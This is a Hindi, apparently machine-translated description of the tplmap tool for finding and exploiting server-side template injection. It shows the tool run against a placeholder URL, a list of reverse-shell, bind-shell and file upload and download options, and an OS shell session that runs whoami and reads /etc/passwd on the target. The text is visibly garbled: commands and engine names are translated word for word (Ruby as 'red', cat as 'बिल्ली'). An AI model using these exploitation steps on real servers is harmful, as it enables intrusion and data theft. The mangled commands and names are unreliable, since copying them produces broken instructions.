जब आप किसी वेब पेज का प्रवेश परीक्षण चलाते हैं जो उपयोगकर्ता द्वारा प्रदान किए गए मूल्यों के साथ टेम्पलेट्स का उपयोग करके गतिशील सामग्री उत्पन्न करता है, तो आपको सर्वर-साइड टेम्पलेट इंजेक्शन भेद्यता का सामना करना पड़ सकता है। आप जिस टेम्पलेट इंजन से निपट रहे हैं उसकी मैन्युअल पहचान और बाद में शोषण को टीपलमैप टूल का उपयोग करके आसानी से स्वचालित किया जा सकता है।
टीपीएलमैप कई प्रकार के टेम्पलेट इंजनों में एसएसटीआई का पता लगाने और उपयोग करने में सक्षम है। इसमें फ़ाइल सिस्टम ब्राउज़ करने और हमला किए गए सर्वर पर आदेशों को दूर से निष्पादित करने जैसी कार्यक्षमताएं हैं।
$ ./tplmap.py-यू 'http://www.target.com/page?name=John'
[+] टीपीएलमैप 0.5
ऑटोमेटिक सर्वर-साइड टेम्पलेट इंजेक्शन डिटेक्शन एंड शोषण टूल
[+] परीक्षण अगर गेट पैरामीटर 'नाम' इंजेक्शन है
[+] Smarty प्लगइन टैग के साथ प्रतिपादन परीक्षण कर रहा है ' {*}'
[+] Smarty प्लगइन अंधा इंजेक्शन परीक्षण कर रहा है
[+] माको प्लगइन टैग के साथ प्रतिपादन का परीक्षण कर रहा है '${*}'
...
[+] Jinja2 प्लगइन टैग के साथ प्रतिपादन परीक्षण कर रहा है '{**}}
[+] Jinja2 प्लगइन टैग के साथ इंजेक्शन की पुष्टि की है ' {{*}}'
[+] टीपलमैप ने निम्नलिखित इंजेक्शन बिंदु की पहचान की:
पैरामीटर प्राप्त करें: नाम
इंजन: जिंजा2
इंजेक्शन: {{*}}
संदर्भ: पाठ
ओएस: लिनक्स
तकनीक: रेंडर
क्षमताओं:
शेल कमांड निष्पादन: लगभग।
बांध और रिवर्स खोल: लगभग।
फ़ाइल लिखें: ठीक है
फाइल पढ़ें: ठीक है
कोड मूल्यांकन: ठीक है, अजगर कोड
[+] निम्नलिखित विकल्पों में से एक प्रदान करने वाले टीपीएलमैप को फिर से चलाएं:
--ओएस-शेल रन शेल निशाने पर
--ओएस-सीएमडी निष्पादित शेल कमांड
--बांध-खोल पोर्ट एक लक्ष्य बंदरगाह के लिए एक खोल बांध करने के लिए कनेक्ट
--रिवर्स-शेल होस्ट पोर्ट हमलावर के बंदरगाह पर एक खोल वापस भेजें
--सर्वर पर स्थानीय रिमोट अपलोड फ़ाइलें अपलोड करें
--डाउनलोड रिमोट लोकल डाउनलोड रिमोट फाइलें
लक्ष्य पर छद्म अभियान चलाने के लिए --os-खोल विकल्प
का उपयोग करें।
$./tplmap.py--ओएस-शेल-यू ' http://www.target.com/page?name=John '
[+] टीपीएलमैप 0.5
ऑटोमेटिक सर्वर-साइड टेम्पलेट इंजेक्शन डिटेक्शन एंड शोषण टूल
[+] ऑपरेटिंग सिस्टम पर कमांड चलाएं।
लिनक्स $ whoami
वेब
लिनक्स $ बिल्ली /आदि/पासडब्ल्यूडी
रूट:/रूट:/बिन/बैश
डेमन:x:1:1:damon:/usr/sbin:/bin/sh
बिन:x:2:2:बिन:/बिन:/बिन/श
टीपलमैप 15 से अधिक टेम्पलेट इंजन का समर्थन करता है:
इंजन | रिमोट कमांड निष्पादन | अंधा | कोड मूल्यांकन | फाइल पढ़ें | फाइल करने के लिए लिखें |
---|---|---|---|---|---|
माको | ✓ | ✓ | अजगर | ✓ | ✓ |
जिनजा2 | ✓ | ✓ | अजगर | ✓ | ✓ |
अजगर (कोड eval) | ✓ | ✓ | अजगर | ✓ | ✓ |
बवंडर | ✓ | ✓ | अजगर | ✓ | ✓ |
नुनजक्स, केंटकी | ✓ | ✓ | जावास्क्रिप्ट | ✓ | ✓ |
पग | ✓ | ✓ | जावास्क्रिप्ट | ✓ | ✓ |
बिंदी | ✓ | ✓ | जावास्क्रिप्ट | ✓ | ✓ |
मार्को | ✓ | ✓ | जावास्क्रिप्ट | ✓ | ✓ |
जावास्क्रिप्ट (कोड ईवल) | ✓ | ✓ | जावास्क्रिप्ट | ✓ | ✓ |
धूल (<= [email protected]) | ✓ | ✓ | जावास्क्रिप्ट | ✓ | ✓ |
ईजेएस | ✓ | ✓ | जावास्क्रिप्ट | ✓ | ✓ |
रूबी (कोड इवल) | ✓ | ✓ | लाल | ✓ | ✓ |
पतला | ✓ | ✓ | लाल | ✓ | ✓ |
एर्बियम | ✓ | ✓ | लाल | ✓ | ✓ |
Smarty (असुरक्षित) | ✓ | ✓ | पीएचपी | ✓ | ✓ |
पीएचपी (कोड ईवल) | ✓ | ✓ | पीएचपी | ✓ | ✓ |
टहनी (<=1.19) | ✓ | ✓ | पीएचपी | ✓ | ✓ |
फ्रीमार्कर | ✓ | ✓ | × | ✓ | ✓ |
वेग, नई | ✓ | ✓ | × | ✓ | ✓ |
टहनी (>1.19) | × | × | × | × | × |
होशियार (सुरक्षित) | × | × | × | × | × |
धूल (> डस्टजे[email protected]) | × | × | × | × | × |
टीपलमैप निर्माता गिथुब – टीपलमैपपर पाया जा सकता है।